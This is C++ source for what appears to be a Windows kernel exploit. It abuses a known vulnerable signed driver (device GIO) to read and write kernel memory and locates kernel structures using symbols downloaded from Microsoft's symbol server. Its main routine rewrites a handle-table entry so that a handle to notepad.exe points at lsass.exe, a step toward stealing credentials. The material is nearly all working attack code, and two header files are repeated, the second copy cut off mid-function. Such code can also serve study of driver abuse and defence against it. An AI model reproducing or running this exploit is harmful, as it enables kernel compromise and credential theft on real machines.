DWORD pid = GetCurrentProcessId();
// 5. Get EPROCESS of the target process
DWORD64 eprocess = getEPROCESS(drv, ntoskrnlBase, pid);
// 6. Open notepad.exe process
DWORD notepadPID = getPIDbyProcName("notepad.exe");
HANDLE hNotepad = OpenProcess(PROCESS_ALL_ACCESS, FALSE, notepadPID);
// 7. Find ObjectTable
DWORD64 objectTableAddr = eprocess + g_offsets.ObjectTable;
cout << "eprocess: " << hex << eprocess << endl;
cout << "ObjectTable off: " << hex << g_offsets.ObjectTable << endl;
cout << "objectTableAddr: " << hex << objectTableAddr << endl;
if (eprocess == 0) {
cout << "[-] eprocess is NULL, stopping" << endl;
return 1;
}
getchar();
getchar();
DWORD64 handleTablePtr = 0;
ReadPrimitive(drv, &handleTablePtr, (LPVOID)(uintptr_t)objectTableAddr, sizeof(DWORD64));
cout << "HandleTable ptr: " << hex << handleTablePtr << endl;
getchar();
DWORD64 tableCode = 0;
ReadPrimitive(drv, &tableCode, (LPVOID)(uintptr_t)(handleTablePtr + 0x8), sizeof(DWORD64));
DWORD64 level = tableCode & 0x3;
DWORD64 tableBase = tableCode & ~0x3ULL;
cout << "TableCode: " << hex << tableCode << " | Level: " << level << " | TableBase: " << tableBase << endl;
getchar();
DWORD64 handleValue = (DWORD64)hNotepad;
DWORD64 entryAddress = tableBase + (handleValue / 4) * 16;
cout << "Entry address for notepad handle: " << hex << entryAddress << endl;
getchar();
// Read Low QWORD (ObjectPointerBits)
DWORD64 lowQword = 0;
ReadPrimitive(drv, &lowQword, (LPVOID)(uintptr_t)(entryAddress), sizeof(DWORD64));
cout << "Low QWORD (encoded obj ptr): " << hex << lowQword << endl;
getchar();
DWORD lsassPid = getPIDbyProcName("lsass.exe");
DWORD64 eprocessLsass = getEPROCESS(drv, ntoskrnlBase, lsassPid);
cout << "Lsass eprocess " << hex << eprocessLsass << endl;
getchar();
// 8. ObHeaderCookie (not needed for ObjectPointerBits encoding, kept for reference)
DWORD64 obHeaderCookieAddr = ntoskrnlBase + off.ObHeaderCookie;
BYTE cookie = 0;
ReadPrimitive(drv, &cookie, (LPVOID)(uintptr_t)obHeaderCookieAddr, sizeof(BYTE));
cout << "[+] ObHeaderCookie: " << hex << (int)cookie << endl;
// 9. Calculate lsass _OBJECT_HEADER (eprocessLsass - 0x30)
DWORD64 lsassObjectHeader = eprocessLsass - 0x30;
cout << "[+] Lsass OBJECT_HEADER: " << hex << lsassObjectHeader << endl;
// 10. Preserve metadata bits (bits 0-19): Unlocked + RefCnt + Attributes
DWORD64 metadataBits = lowQword & 0xFFFFFULL;
cout << "[+] Metadata bits: " << hex << metadataBits << endl;
// 11. Encode new ObjectPointerBits (bits 20-63): objectHeader >> 4, 44 bits
DWORD64 objectPointerBits = (lsassObjectHeader >> 4) & 0xFFFFFFFFFFFULL;
DWORD64 newLowQword = (objectPointerBits << 20) | metadataBits;
cout << "[+] Original lowQword: " << hex << lowQword << endl;
cout << "[+] New lowQword: " << hex << newLowQword << endl;
// 12. Write new lowQword to entryAddress (patch ObjectPointerBits)
WritePrimitive(drv, (LPVOID)(uintptr_t)entryAddress, &newLowQword, sizeof(DWORD64));
cout << "[+] ObjectPointerBits patched" << endl;
// 13. Verify: GetProcessId via hNotepad should now return lsass PID
DWORD resolvedPid = GetProcessId(hNotepad);
cout << "[+] PID via redirected handle: " << dec << resolvedPid << endl;
cout << "[+] Expected lsass PID: " << dec << lsassPid << endl;
if (resolvedPid == lsassPid) {
cout << "[+] SUCCESS: hNotepad now resolves to lsass" << endl;
}
else {
cout << "[-] Redirect failed" << endl;
}
getchar();
getchar();
getchar();
return 0;
// 14. Restore original lowQword
}DrvOps.h
#include <iostream>
#include <Windows.h>
// https://www.loldrivers.io/drivers/2bea1bca-753c-4f09-bc9f-566ab0193f4a/
#define IOCTL_READWRITE_PRIMITIVE 0xC3502808
using namespace std;
typedef struct KernelWritePrimitive {
LPVOID dst;
LPVOID src;
DWORD size;
} KernelWritePrimitive;
typedef struct KernelReadPrimitive {
LPVOID dst;
LPVOID src;
DWORD size;
} KernelReadPrimitive;
BOOL WritePrimitive(HANDLE driver, LPVOID dst, LPVOID src, DWORD size) {
KernelWritePrimitive kwp;
kwp.dst = dst;
kwp.src = src;
kwp.size = size;
BYTE bufferReturned[48] = { 0 };
DWORD returned = 0;
BOOL result = DeviceIoControl(driver, IOCTL_READWRITE_PRIMITIVE, (LPVOID)&kwp, sizeof(kwp), (LPVOID)bufferReturned, sizeof(bufferReturned), &returned, nullptr);
if (!result) {
cout << "Failed to send write primitive. Error code: " << GetLastError() << endl;
return FALSE;
}
cout << "Write primitive sent successfully. Bytes returned: " << returned << endl;
return TRUE;
}
BOOL ReadPrimitive(HANDLE driver, LPVOID dst, LPVOID src, DWORD size) {
KernelReadPrimitive krp;
krp.dst = dst;
krp.src = src;
krp.size = size;
DWORD returned = 0;
BOOL result = DeviceIoControl(driver, IOCTL_READWRITE_PRIMITIVE, (LPVOID)&krp, sizeof(krp), (LPVOID)dst, size, &returned, nullptr);
if (!result) {
cout << "Failed to send read primitive. Error code: " << GetLastError() << endl;
return FALSE;
}
return TRUE;
}
HANDLE openVulnDriver() {
HANDLE driver = CreateFileA("\\\\.\\GIO", GENERIC_READ | GENERIC_WRITE, 0, nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, nullptr);
if (!driver || driver == INVALID_HANDLE_VALUE)
{
cout << "Failed to open handle to driver. Error code: " << GetLastError() << endl;
return NULL;
}
return driver;
}#include <iostream>
#include <Windows.h>
// https://www.loldrivers.io/drivers/2bea1bca-753c-4f09-bc9f-566ab0193f4a/
#define IOCTL_READWRITE_PRIMITIVE 0xC3502808
using namespace std;
typedef struct KernelWritePrimitive {
LPVOID dst;
LPVOID src;
DWORD size;
} KernelWritePrimitive;
typedef struct KernelReadPrimitive {
LPVOID dst;
LPVOID src;
DWORD size;
} KernelReadPrimitive;
BOOL WritePrimitive(HANDLE driver, LPVOID dst, LPVOID src, DWORD size) {
KernelWritePrimitive kwp;
kwp.dst = dst;
kwp.src = src;
kwp.size = size;
BYTE bufferReturned[48] = { 0 };
DWORD returned = 0;
BOOL result = DeviceIoControl(driver, IOCTL_READWRITE_PRIMITIVE, (LPVOID)&kwp, sizeof(kwp), (LPVOID)bufferReturned, sizeof(bufferReturned), &returned, nullptr);
if (!result) {
cout << "Failed to send write primitive. Error code: " << GetLastError() << endl;
return FALSE;
}
cout << "Write primitive sent successfully. Bytes returned: " << returned << endl;
return TRUE;
}
BOOL ReadPrimitive(HANDLE driver, LPVOID dst, LPVOID src, DWORD size) {
KernelReadPrimitive krp;
krp.dst = dst;
krp.src = src;
krp.size = size;
DWORD returned = 0;
BOOL result = DeviceIoControl(driver, IOCTL_READWRITE_PRIMITIVE, (LPVOID)&krp, sizeof(krp), (LPVOID)dst, size, &returned, nullptr);
if (!result) {
cout << "Failed to send read primitive. Error code: " << GetLastError() << endl;
return FALSE;
}
return TRUE;
}
HANDLE openVulnDriver() {
HANDLE driver = CreateFileA("\\\\.\\GIO", GENERIC_READ | GENERIC_WRITE, 0, nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, nullptr);
if (!driver || driver == INVALID_HANDLE_VALUE)
{
cout << "Failed to open handle to driver. Error code: " << GetLastError() << endl;
return NULL;
}
return driver;
}GetOffsets.h
#pragma once
#define WIN32_LEAN_AND_MEAN
#define NOMINMAX
#include <Windows.h>
#include <winhttp.h>
#include <dbghelp.h>
#include <stdio.h>
#include <string>
#include <vector>
//#include <algorithm>
#pragma comment(lib, "winhttp.lib")
#pragma comment(lib, "dbghelp.lib")
// Data Structures
struct PdbCodeViewInfo {
GUID Guid;
DWORD Age;
char PdbFileName[MAX_PATH];
};
struct KernelOffsets {
// EPROCESS struct field offsets (bytes from struct base)
DWORD ObjectTable;
DWORD64 ObHeaderCookie;
DWORD UniqueProcessId;
DWORD ActiveProcessLinks;
DWORD64 PsInitialSystemProcess;
};
// PE Parsing
#pragma pack(push, 1)
struct CV_INFO_PDB70 {
DWORD CvSignature; // 0x53445352 = 'RSDS'
GUID Signature;
DWORD Age;
char PdbFileName[1];
};
#pragma pack(pop)
static DWORD RvaToFileOffset(PIMAGE_NT_HEADERS nt, DWORD rva) {
PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(nt);
for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++, sec++) {
if (rva >= sec->VirtualAddress &&
rva < sec->VirtualAddress + sec->Misc.VirtualSize)
return rva - sec->VirtualAddress + sec->PointerToRawData;
}
return 0;
}
static bool GetPdbInfoFromPE(const char* exePath, PdbCodeViewInfo& out) {
HANDLE hFile = CreateFileA(exePath, GENERIC_READ, FILE_SHARE_READ,
nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, nullptr);
if (hFile == INVALID_HANDLE_VALUE) {
printf("[-] Cannot open '%s' (err %lu)\n", exePath, GetLastError());
return false;
}
LARGE_INTEGER sz{};
GetFileSizeEx(hFile, &sz);
std::vector<BYTE> buf(static_cast<size_t>(sz.QuadPart));
DWORD rd = 0;
bool ok = ReadFile(hFile, buf.data(), static_cast<DWORD>(buf.size()), &rd, nullptr)
&& rd == buf.size();
CloseHandle(hFile);
if (!ok) return false;
auto* dos = reinterpret_cast<PIMAGE_DOS_HEADER>(buf.data());
if (dos->e_magic != IMAGE_DOS_SIGNATURE) return false;
auto* nt = reinterpret_cast<PIMAGE_NT_HEADERS>(buf.data() + dos->e_lfanew);
if (nt->Signature != IMAGE_NT_SIGNATURE) return false;
auto& dd = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_DEBUG];
if (!dd.VirtualAddress || !dd.Size) return false;
DWORD ddOff = RvaToFileOffset(nt, dd.VirtualAddress);
if (!ddOff || ddOff + dd.Size > buf.size()) return false;
int entryCount = dd.Size / sizeof(IMAGE_DEBUG_DIRECTORY);
auto* entries = reinterpret_cast<PIMAGE_DEBUG_DIRECTORY>(buf.data() + ddOff);
for (int i = 0; i < entryCount; i++) {
if (entries[i].Type != IMAGE_DEBUG_TYPE_CODEVIEW) continue;
DWORD raw = entries[i].PointerToRawData;
if (!raw) raw = RvaToFileOffset(nt, entries[i].AddressOfRawData);
if (!raw || raw >= buf.size()) continue;
auto* cv = reinterpret_cast<CV_INFO_PDB70*>(buf.data() + raw);
if (cv->CvSignature != 0x53445352) continue; // 'RSDS'
out.Guid = cv->Signature;
out.Age = cv->Age;
strncpy_s(out.PdbFileName, cv->PdbFileName, _TRUNCATE);
return true;
}
printf("[-] No CodeView RSDS entry found in PE\n");
return false;
}
// PDB Cache Validation
#pragma pack(push, 1)
struct MsfSuperBlock {
char FileMagic[0x20];
DWORD BlockSize;
DWORD FreeBlockMapBlock;
DWORD NumBlocks;
DWORD NumDirectoryBytes;
DWORD Unknown;
DWORD BlockMapAddr;
};
struct PdbInfoStreamHeader {
DWORD Version;
DWORD Signature;
DWORD Age;
GUID UniqueId;
};
#pragma pack(pop)
static bool ExtractGuidFromPdb(const char* pdbPath, GUID& outGuid) {
HANDLE hFile = CreateFileA(pdbPath, GENERIC_READ, FILE_SHARE_READ,
nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, nullptr);
if (hFile == INVALID_HANDLE_VALUE) return false;
LARGE_INTEGER sz{};
GetFileSizeEx(hFile, &sz);
std::vector<BYTE> buf(static_cast<size_t>(sz.QuadPart));
DWORD rd = 0;
ReadFile(hFile, buf.data(), static_cast<DWORD>(buf.size()), &rd, nullptr);
CloseHandle(hFile);
if (buf.size() < sizeof(MsfSuperBlock)) return false;
// MSF 7.00 magic (null-terminated string is 32 bytes including padding)
static const char kMsfMagic[] = "Microsoft C/C++ MSF 7.00\r\n\x1A""DS";
auto* sb = reinterpret_cast<MsfSuperBlock*>(buf.data());
if (memcmp(sb->FileMagic, kMsfMagic, sizeof(kMsfMagic) - 1) != 0) return false;
DWORD bs = sb->BlockSize;
DWORD nd = sb->NumDirectoryBytes;
if (!bs || !nd) return false;
DWORD nDirBlocks = (nd + bs - 1) / bs;
DWORD bmOffset = sb->BlockMapAddr * bs;
if (bmOffset >= buf.size()) return false;
// Reconstruct stream directory into contiguous buffer
auto* blockIdx = reinterpret_cast<DWORD*>(buf.data() + bmOffset);
std::vector<BYTE> dir(nd, 0);
DWORD written = 0;
for (DWORD i = 0; i < nDirBlocks; i++) {
DWORD blkOff = blockIdx[i] * bs;
if (blkOff >= buf.size()) break;
DWORD chunk = min(bs, nd - written);
memcpy(dir.data() + written, buf.data() + blkOff, chunk);
written += chunk;
}
// Directory layout: [NumStreams(4)] [StreamSizes(4*N)] [StreamBlockIndices...]
DWORD numStreams = *reinterpret_cast<DWORD*>(dir.data());
if (numStreams < 2) return false;
auto* streamSizes = reinterpret_cast<DWORD*>(dir.data() + 4);
auto* flatBlocks = reinterpret_cast<DWORD*>(dir.data() + 4 + numStreams * 4);
DWORD s0Size = streamSizes[0];
DWORD s0Blocks = (s0Size == 0xFFFFFFFF) ? 0 : (s0Size + bs - 1) / bs;
// Stream 1 first block index sits right after all of stream 0's block indices
DWORD s1BlockOff = flatBlocks[s0Blocks] * bs;
if (s1BlockOff + sizeof(PdbInfoStreamHeader) > buf.size()) return false;
outGuid = reinterpret_cast<PdbInfoStreamHeader*>(buf.data() + s1BlockOff)->UniqueId;
return true;
}
// PDB Download via WinHTTP from Microsoft Symbol Server
static std::wstring BuildSymSrvUri(const GUID& g, DWORD age, const wchar_t* pdbName) {
wchar_t guid[48];
swprintf_s(guid,
L"%08X%04X%04X%02X%02X%02X%02X%02X%02X%02X%02X%X",
g.Data1, g.Data2, g.Data3,
g.Data4[0], g.Data4[1], g.Data4[2], g.Data4[3],
g.Data4[4], g.Data4[5], g.Data4[6], g.Data4[7],
age);
std::wstring uri = L"/download/symbols/";
uri += pdbName; uri += L"/";
uri += guid; uri += L"/";
uri += pdbName;
return uri;
}
static bool DownloadPdb(const GUID& guid, DWORD age, const wchar_t* pdbNameW, const char* outPath) {
std::wstring uri = BuildSymSrvUri(guid, age, pdbNameW);
printf("[*] Downloading: https://msdl.microsoft.com%ls\n", uri.c_str());
HINTERNET hSess = WinHttpOpen(L"PDBOffsets/1.0",
WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
WINHTTP_NO_PROXY_NAME,
WINHTTP_NO_PROXY_BYPASS, 0);
if (!hSess) { printf("[-] WinHttpOpen failed (%lu)\n", GetLastError()); return false; }
HINTERNET hConn = WinHttpConnect(hSess, L"msdl.microsoft.com",
INTERNET_DEFAULT_HTTPS_PORT, 0);
HINTERNET hReq = hConn ? WinHttpOpenRequest(hConn, L"GET", uri.c_str(),
nullptr, WINHTTP_NO_REFERER,
WINHTTP_DEFAULT_ACCEPT_TYPES,
WINHTTP_FLAG_SECURE) : nullptr;
auto closeAll = [&] {
if (hReq) WinHttpCloseHandle(hReq);
if (hConn) WinHttpCloseHandle(hConn);
WinHttpCloseHandle(hSess);
};
if (!hReq) { closeAll(); return false; }
if (!WinHttpSendRequest(hReq, WINHTTP_NO_ADDITIONAL_HEADERS, 0,
WINHTTP_NO_REQUEST_DATA, 0, 0, 0) ||
!WinHttpReceiveResponse(hReq, nullptr)) {
printf("[-] WinHTTP request failed (%lu)\n", GetLastError());
closeAll();
return false;
}
DWORD status = 0, statusLen = sizeof(status);
WinHttpQueryHeaders(hReq,
WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER,
WINHTTP_HEADER_NAME_BY_INDEX, &status, &statusLen, WINHTTP_NO_HEADER_INDEX);
if (status != 200) {
printf("[-] HTTP %lu from symbol server\n", status);
closeAll();
return false;
}
// Read body in chunks
std::vector<BYTE> body;
body.reserve(32 * 1024 * 1024);
BYTE chunk[65536];
DWORD rd = 0;
while (WinHttpReadData(hReq, chunk, sizeof(chunk), &rd) && rd > 0)
body.insert(body.end(), chunk, chunk + rd);
closeAll();
if (body.empty()) {
printf("[-] Empty response from symbol server\n");
return false;
}
HANDLE hFile = CreateFileA(outPath, GENERIC_WRITE, 0, nullptr,
CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, nullptr);
if (hFile == INVALID_HANDLE_VALUE) {
printf("[-] Cannot write PDB to '%s' (%lu)\n", outPath, GetLastError());
return false;
}
DWORD wr = 0;
WriteFile(hFile, body.data(), static_cast<DWORD>(body.size()), &wr, nullptr);
CloseHandle(hFile);
printf("[+] PDB saved: %s (%zu bytes)\n", outPath, body.size());
return true;
}
// DbgHelp Symbol Resolution
struct SymFindCtx {
const char* name;
DWORD64 address;
bool found;
};
struct TypeFindCtx {
const char* name;
ULONG typeIndex;
bool found;
};
static BOOL CALLBACK OnSymbol(PSYMBOL_INFO pInfo, ULONG, PVOID ctx) {
auto* s = static_cast<SymFindCtx*>(ctx);
if (_stricmp(pInfo->Name, s->name) == 0) {
s->address = pInfo->Address;
s->found = true;
return FALSE;
}
return TRUE;
}
static BOOL CALLBACK OnType(PSYMBOL_INFO pInfo, ULONG, PVOID ctx) {
auto* t = static_cast<TypeFindCtx*>(ctx);
if (_stricmp(pInfo->Name, t->name) == 0) {
t->typeIndex = pInfo->TypeIndex;
t->found = true;
return FALSE;
}
return TRUE;
}
// Returns RVA (offset from module base) of a named global symbol.
static DWORD64 ResolveSymbolRva(HANDLE hSym, DWORD64 modBase, const char* symName) {
SymFindCtx ctx{ symName, 0, false };
SymEnumSymbols(hSym, modBase, symName, OnSymbol, &ctx);
if (!ctx.found || !ctx.address) {
printf("[-] Symbol not found: %s\n", symName);
return 0;
}
return ctx.address - modBase;
}
// Returns byte offset of a named field within a named struct.
static DWORD ResolveFieldOffset(HANDLE hSym, DWORD64 modBase,
const char* structName, const char* fieldName) {
TypeFindCtx tCtx{ structName, 0, false };
SymEnumTypesByName(hSym, modBase, structName, OnType, &tCtx);
if (!tCtx.found) {
printf("[-] Struct not found: %s\n", structName);
return 0;
}
DWORD childCount = 0;
if (!SymGetTypeInfo(hSym, modBase, tCtx.typeIndex, TI_GET_CHILDRENCOUNT, &childCount) ||
childCount == 0)
return 0;
// TI_FINDCHILDREN_PARAMS has a variable-length ChildId[] at the end
size_t paramSz = sizeof(TI_FINDCHILDREN_PARAMS) + childCount * sizeof(ULONG);
std::vector<BYTE> paramBuf(paramSz, 0);
auto* params = reinterpret_cast<TI_FINDCHILDREN_PARAMS*>(paramBuf.data());
params->Count = childCount;
params->Start = 0;
if (!SymGetTypeInfo(hSym, modBase, tCtx.typeIndex, TI_FINDCHILDREN, params))
return 0;
// Convert target field name to wide for comparison with TI_GET_SYMNAME output
wchar_t wField[256];
MultiByteToWideChar(CP_ACP, 0, fieldName, -1, wField, 256);
for (DWORD i = 0; i < childCount; i++) {
WCHAR* nameW = nullptr;
if (!SymGetTypeInfo(hSym, modBase, params->ChildId[i], TI_GET_SYMNAME, &nameW) || !nameW)
continue;
bool match = (_wcsicmp(nameW, wField) == 0);
LocalFree(nameW); // DbgHelp allocates with LocalAlloc
if (match) {
DWORD offset = 0;
SymGetTypeInfo(hSym, modBase, params->ChildId[i], TI_GET_OFFSET, &offset);
return offset;
}
}
printf("[-] Field not found: %s::%s\n", structName, fieldName);
return 0;
}
static bool ResolveKernelOffsets(KernelOffsets& out) {
// Locate ntoskrnl.exe
char sysDir[MAX_PATH];
if (!GetSystemDirectoryA(sysDir, MAX_PATH)) return false;
char ntosPath[MAX_PATH];
snprintf(ntosPath, MAX_PATH, "%s\\ntoskrnl.exe", sysDir);
printf("[*] Kernel image: %s\n", ntosPath);
// Extract CodeView PDB info from PE debug directory
PdbCodeViewInfo pdbInfo{};
if (!GetPdbInfoFromPE(ntosPath, pdbInfo)) {
printf("[-] Failed to extract CodeView info from PE\n");
return false;
}
// Strip any path prefix from PDB filename (keep leaf only)
char* pdbName = pdbInfo.PdbFileName;
for (int i = static_cast<int>(strlen(pdbInfo.PdbFileName)) - 1; i >= 0; i--) {
if (pdbInfo.PdbFileName[i] == '\\' || pdbInfo.PdbFileName[i] == '/') {
pdbName = &pdbInfo.PdbFileName[i + 1];
break;
}
}
printf("[*] PDB: %s Age: %lu\n", pdbName, pdbInfo.Age);
// Local cache path: %TEMP%\<pdbname>
char tempDir[MAX_PATH];
GetTempPathA(MAX_PATH, tempDir);
char localPdb[MAX_PATH];
snprintf(localPdb, MAX_PATH, "%s%s", tempDir, pdbName);
// Validate cached PDB by checking its MSF stream-1 GUID
bool needDownload = true;
DWORD attr = GetFileAttributesA(localPdb);
if (attr != INVALID_FILE_ATTRIBUTES && !(attr & FILE_ATTRIBUTE_DIRECTORY)) {
GUID cachedGuid{};
if (ExtractGuidFromPdb(localPdb, cachedGuid) && IsEqualGUID(cachedGuid, pdbInfo.Guid)) {
printf("[+] Valid cached PDB: %s\n", localPdb);
needDownload = false;
}
else {
printf("[*] Cached PDB GUID mismatch, re-downloading\n");
}
}
if (needDownload) {
wchar_t pdbNameW[MAX_PATH];
MultiByteToWideChar(CP_ACP, 0, pdbName, -1, pdbNameW, MAX_PATH);
if (!DownloadPdb(pdbInfo.Guid, pdbInfo.Age, pdbNameW, localPdb)) {
printf("[-] Failed to download PDB\n");
return false;
}
}
// Initialize DbgHelp and load the PDB
SymSetOptions(SYMOPT_UNDNAME | SYMOPT_DEFERRED_LOADS);
// Use a unique fake handle so DbgHelp doesn't collide with any real process
HANDLE hSym = reinterpret_cast<HANDLE>(static_cast<ULONG_PTR>(0xDEAD1234));
if (!SymInitialize(hSym, nullptr, FALSE)) {
printf("[-] SymInitialize failed (0x%lX)\n", GetLastError());
return false;
}
wchar_t localPdbW[MAX_PATH];
MultiByteToWideChar(CP_ACP, 0, localPdb, -1, localPdbW, MAX_PATH);
const DWORD64 kFakeBase = 0x10000000ULL;
DWORD64 modBase = SymLoadModuleExW(hSym, nullptr, localPdbW, nullptr,
kFakeBase, 0, nullptr, 0);
if (modBase == 0) {
DWORD err = GetLastError();
if (err != ERROR_SUCCESS) {
printf("[-] SymLoadModuleExW failed (0x%lX)\n", err);
SymCleanup(hSym);
return false;
}
modBase = kFakeBase; // already loaded
}
printf("[+] PDB loaded at base 0x%llX\n", modBase);
// Resolve EPROCESS field offsets
out.ObjectTable = ResolveFieldOffset(hSym, modBase, "_EPROCESS", "ObjectTable");
out.UniqueProcessId = ResolveFieldOffset(hSym, modBase, "_EPROCESS", "UniqueProcessId");
out.ActiveProcessLinks = ResolveFieldOffset(hSym, modBase, "_EPROCESS", "ActiveProcessLinks");
//out.PsInitialSystemProcess = ResolveFieldOffset(hSym, modBase, "_EPROCESS", "PsInitialSystemProcess");
out.PsInitialSystemProcess = ResolveSymbolRva(hSym, modBase, "PsInitialSystemProcess");
out.ObHeaderCookie = ResolveSymbolRva(hSym, modBase, "ObHeaderCookie");
SymUnloadModule64(hSym, modBase);
SymCleanup(hSym);
return 1;
}#pragma once
#define WIN32_LEAN_AND_MEAN
#define NOMINMAX
#include <Windows.h>
#include <winhttp.h>
#include <dbghelp.h>
#include <stdio.h>
#include <string>
#include <vector>
//#include <algorithm>
#pragma comment(lib, "winhttp.lib")
#pragma comment(lib, "dbghelp.lib")
// Data Structures
struct PdbCodeViewInfo {
GUID Guid;
DWORD Age;
char PdbFileName[MAX_PATH];
};
struct KernelOffsets {
// EPROCESS struct field offsets (bytes from struct base)
DWORD ObjectTable;
DWORD64 ObHeaderCookie;
DWORD UniqueProcessId;
DWORD ActiveProcessLinks;
DWORD64 PsInitialSystemProcess;
};
// PE Parsing
#pragma pack(push, 1)
struct CV_INFO_PDB70 {
DWORD CvSignature; // 0x53445352 = 'RSDS'
GUID Signature;
DWORD Age;
char PdbFileName[1];
};
#pragma pack(pop)
static DWORD RvaToFileOffset(PIMAGE_NT_HEADERS nt, DWORD rva) {
PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(nt);
for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++, sec++) {
if (rva >= sec->VirtualAddress &&
rva < sec->VirtualAddress + sec->Misc.VirtualSize)
return rva - sec->VirtualAddress + sec->PointerToRawData;
}
return 0;
}
static bool GetPdbInfoFromPE(const char* exePath, PdbCodeViewInfo& out) {
HANDLE hFile = CreateFileA(exePath, GENERIC_READ, FILE_SHARE_READ,
nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, nullptr);
if (hFile == INVALID_HANDLE_VALUE) {
printf("[-] Cannot open '%s' (err %lu)\n", exePath, GetLastError());
return false;
}
LARGE_INTEGER sz{};
GetFileSizeEx(hFile, &sz);
std::vector<BYTE> buf(static_cast<size_t>(sz.QuadPart));
DWORD rd = 0;
bool ok = ReadFile(hFile, buf.data(), static_cast<DWORD>(buf.size()), &rd, nullptr)
&& rd == buf.size();
CloseHandle(hFile);
if (!ok) return false;
auto* dos = reinterpret_cast<PIMAGE_DOS_HEADER>(buf.data());
if (dos->e_magic != IMAGE_DOS_SIGNATURE) return false;
auto* nt = reinterpret_cast<PIMAGE_NT_HEADERS>(buf.data() + dos->e_lfanew);
if (nt->Signature != IMAGE_NT_SIGNATURE) return false;
auto& dd = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_DEBUG];
if (!dd.VirtualAddress || !dd.Size) return false;
DWORD ddOff = RvaToFileOffset(nt, dd.VirtualAddress);
if (!ddOff || ddOff + dd.Size > buf.size()) return false;
int entryCount = dd.Size / sizeof(IMAGE_DEBUG_DIRECTORY);
auto* entries = reinterpret_cast<PIMAGE_DEBUG_DIRECTORY>(buf.data() + ddOff);
for (int i = 0; i < entryCount; i++) {
if (entries[i].Type != IMAGE_DEBUG_TYPE_CODEVIEW) continue;
DWORD raw = entries[i].PointerToRawData;
if (!raw) raw = RvaToFileOffset(nt, entries[i].AddressOfRawData);
if (!raw || raw >= buf.size()) continue;
auto* cv = reinterpret_cast<CV_INFO_PDB70*>(buf.data() + raw);
if (cv->CvSignature != 0x53445352) continue; // 'RSDS'
out.Guid = cv->Signature;
out.Age = cv->Age;
strncpy_s(out.PdbFileName, cv->PdbFileName, _TRUNCATE);
return true;
}
printf("[-] No CodeView RSDS entry found in PE\n");
return false;
}
// PDB Cache Validation
#pragma pack(push, 1)
struct MsfSuperBlock {
char FileMagic[0x20];
DWORD BlockSize;
DWORD FreeBlockMapBlock;
DWORD NumBlocks;
DWORD NumDirectoryBytes;
DWORD Unknown;
DWORD BlockMapAddr;
};
struct PdbInfoStreamHeader {
DWORD Version;
DWORD Signature;
DWORD Age;
GUID UniqueId;
};
#pragma pack(pop)
static bool ExtractGuidFromPdb(const char* pdbPath, GUID& outGuid) {
HANDLE hFile = CreateFileA(pdbPath, GENERIC_READ, FILE_SHARE_READ,
nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, nullptr);
if (hFile == INVALID_HANDLE_VALUE) return false;
LARGE_INTEGER sz{};
GetFileSizeEx(hFile, &sz);
std::vector<BYTE> buf(static_cast<size_t>(sz.QuadPart));
DWORD rd = 0;
ReadFile(hFile, buf.data(), static_cast<DWORD>(buf.size()), &rd, nullptr);
CloseHandle(hFile);
if (buf.size() < sizeof(MsfSuperBlock)) return false;
// MSF 7.00 magic (null-terminated string is 32 bytes including padding)
static const char kMsfMagic[] = "Microsoft C/C++ MSF 7.00\r\n\x1A""DS";
auto* sb = reinterpret_cast<MsfSuperBlock*>(buf.data());
if (memcmp(sb->FileMagic, kMsfMagic, sizeof(kMsfMagic) - 1) != 0) return false;
DWORD bs = sb->BlockSize;
DWORD nd = sb->NumDirectoryBytes;
if (!bs || !nd) return false;
DWORD nDirBlocks = (nd + bs - 1) / bs;
DWORD bmOffset = sb->BlockMapAddr * bs;
if (bmOffset >= buf.size()) return false;
// Reconstruct stream directory into contiguous buffer
auto* blockIdx = reinterpret_cast<DWORD*>(buf.data() + bmOffset);
std::vector<BYTE> dir(nd, 0);
DWORD written = 0;
for (DWORD i = 0; i < nDirBlocks; i++) {
DWORD blkOff = blockIdx[i] * bs;
if (blkOff >= buf.size()) break;
DWORD chunk = min(bs, nd - written);
memcpy(dir.data() + written, buf.data() + blkOff, chunk);
written += chunk;
}
// Directory layout: [NumStreams(4)] [StreamSizes(4*N)] [StreamBlockIndices...]
DWORD numStreams = *reinterpret_cast<DWORD*>(dir.data());
if (numStreams < 2) return false;
auto* streamSizes = reinterpret_cast<DWORD*>(dir.data() + 4);
auto* flatBlocks = reinterpret_cast<DWORD*>(dir.data() + 4 + numStreams * 4);
DWORD s0Size = streamSizes[0];
DWORD s0Blocks = (s0Size == 0xFFFFFFFF) ? 0 : (s0Size + bs - 1) / bs;
// Stream 1 first block index sits right after all of stream 0's block indices
DWORD s1BlockOff = flatBlocks[s0Blocks] * bs;
if (s1BlockOff + sizeof(PdbInfoStreamHeader) > buf.size()) return false;
outGuid = reinterpret_cast<PdbInfoStreamHeader*>(buf.data() + s1BlockOff)->UniqueId;
return true;
}
// PDB Download via WinHTTP from Microsoft Symbol Server
static std::wstring BuildSymSrvUri(const GUID& g, DWORD age, const wchar_t* pdbName) {
wchar_t guid[48];
swprintf_s(guid,
L"%08X%04X%04X%02X%02X%02X%02X%02X%02X%02X%02X%X",
g.Data1, g.Data2, g.Data3,
g.Data4[0], g.Data4[1], g.Data4[2], g.Data4[3],
g.Data4[4], g.Data4[5], g.Data4[6], g.Data4[7],
age);
std::wstring uri = L"/download/symbols/";
uri += pdbName; uri += L"/";
uri += guid; uri += L"/";
uri += pdbName;
return uri;
}
static bool DownloadPdb(const GUID& guid, DWORD age, const wchar_t* pdbNameW, const char* outPath) {
std::wstring uri = BuildSymSrvUri(guid, age, pdbNameW);
printf("[*] Downloading: https://msdl.microsoft.com%ls\n", uri.c_str());
HINTERNET hSess = WinHttpOpen(L"PDBOffsets/1.0",
